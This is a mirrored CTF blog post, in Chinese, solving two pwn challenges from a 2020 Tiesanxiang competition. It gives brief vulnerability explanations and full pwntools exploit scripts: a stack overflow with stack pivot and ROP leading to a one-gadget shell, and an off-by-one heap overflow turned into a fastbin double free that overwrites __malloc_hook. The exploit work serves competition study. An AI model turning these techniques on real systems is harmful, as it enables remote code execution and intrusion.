6

铁人三项2020第二赛区 pwn

 3 years ago
source link: http://chumen77.xyz/2020/11/04/%E9%93%81%E4%BA%BA%E4%B8%89%E9%A1%B92020%E7%AC%AC%E4%BA%8C%E8%B5%9B%E5%8C%BA%20pwn/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

铁人三项2020第二赛区 pwn

stackstorm

程序存在栈溢出可以溢出0x10的字节,考虑栈迁移。一共可以触发2次,第一次用来泄漏出栈地址,第二次用泄漏的栈地址,栈迁移,在可控的输入区,进行rop,泄漏出libc地址。然后,让其返回start开始处,清理栈进行第3次的漏洞利用,这个时候时间覆盖返回地址为one gadget即可。

#!/usr/bin/env python
# encoding: utf-8
from pwn import *
import time
local_file  = './stackstorm'
elf = ELF(local_file)
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = elf.libc
else:
    io = remote('172.20.15.32',9999)
    libc = elf.libc
    #libc = ELF('.')
context.arch = elf.arch
context.terminal = ['tmux','neww']
#,''splitw','-h'
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

payload1= '1' *0x300
sla('data1',payload1)
# debug()
sleep(0.1)
# r()
payload2 = '1' * (0x70-1) + '!'
sa('data2',payload2)
ru('!')
stack = uu64(r(6))
info_addr('stack',stack)
pop_rdi = 0x0000000000400903
pop_rsi_r15 = 0x0000000000400901
l_ret = 0x00000000004007c1
payload1= '2' *0x300
sla('data1',payload1)
# debug()
sleep(0.1)
payload3 = p64(0) + flat([pop_rdi,elf.got['__libc_start_main'],elf.plt['puts'],p64(0x0000000000400650)])
payload3 = payload3.ljust((0x70),'\x00')
payload3 += p64(stack-0x90) + p64(l_ret)
sa('data2',payload3)
sleep(0.1)
r()
r(1)

libcbase = uu64(r(6)) - 0x20740
info_addr('libcbase',libcbase)

rec = 0x4526a + libcbase
payload4= '3' *0x300
sla('data1',payload4)
# debug()
sleep(0.1)
# r()
payload5 = '\x00' * (0x70) + p64(rec) *2
sa('data2',payload5)
itr()
  • add堆时,写入title 字段存在溢出,可以覆盖到堆地址
__int64 __fastcall read_diy(__int64 a1, int a2)
{
  char buf; // [rsp+13h] [rbp-Dh]
  int i; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; i <= a2; ++i )                   // 存在溢出
  {
    if ( read(0, &buf, 1uLL) < 0 )
      exit(1);
    *(_BYTE *)(a1 + i) = buf;
    if ( *(_BYTE *)(i + a1) == 10 )
    {
      *(_BYTE *)(i + a1) = 0;
      return 0LL;
    }
  }
  return 0LL;
}

攻击思路:
先泄漏出来libc地址,释放A B C 3个0x68大小的堆块,接着申请一个0x68大小堆的时候触发一下title的溢出,其会是修改一下其申请到的堆地址的最后一个字节,使其指向刚刚释放过的chunk A,然后再释放这个堆,就构成了double free,劫持fastbin 打 malloc hook 为one gadget 。拿到shell。

#!/usr/bin/env python
# encoding: utf-8
from pwn import *
import time
local_file  = './note'
elf = ELF(local_file)
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = elf.libc
else:
    io = remote('172.20.15.32',10002)
    libc = elf.libc
    #libc = ELF('.')
context.arch = elf.arch
context.terminal = ['tmux','neww']
#,''splitw','-h'
rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]
rce18 = [0x4f2c5,0x4f322,0x10a38c]
realloc = [0x2,0x4,0x6,0xB,0xC,0xD]
arae16 = 0x3c4b78
arae18 = 0x3ebca0
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()
def add(size,title,data):
    sla('ice:','1')
    sla('size',str(size))
    sla('le:',str(title))
    sa('tent',str(data))

def free(idx):
    sla('ice:','2')
    sla('ote',str(idx))

def show(idx):
    sla('ice:','3')
    sla('ote',str(idx))


add(0xf0,'chumen77','11111111')
add(0x68,'chumen77','11111111')
add(0x68,'chumen77','11111111')
add(0x68,'chumen77','11111111')
free(0)
add(0x10,'chumen77','1')
add(0x18,'chumen77','11111111')
# debug()
show(0)
ru("note content: ")
libcbase = uu64(r(6)) - 0x3c4c31
info_addr('libcbase',libcbase)
free(1)
free(2)
free(3)
# debug()
sla('ice:','1')
sla('size',str(0x68))
payload = '1' * 16 + '\x10'
sla('le:',str(payload))
free(1)
payload = 0x3c4aed + libcbase
add(0x68,'chumen77',p64(payload))
add(0x68,'chumen77',p64(payload))
add(0x68,'chumen77',p64(payload))
payload = '\x00' * 11 + p64(0) + p64(0xf1147 + libcbase)
add(0x68,'chumen77',payload)
# debug()
itr()

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK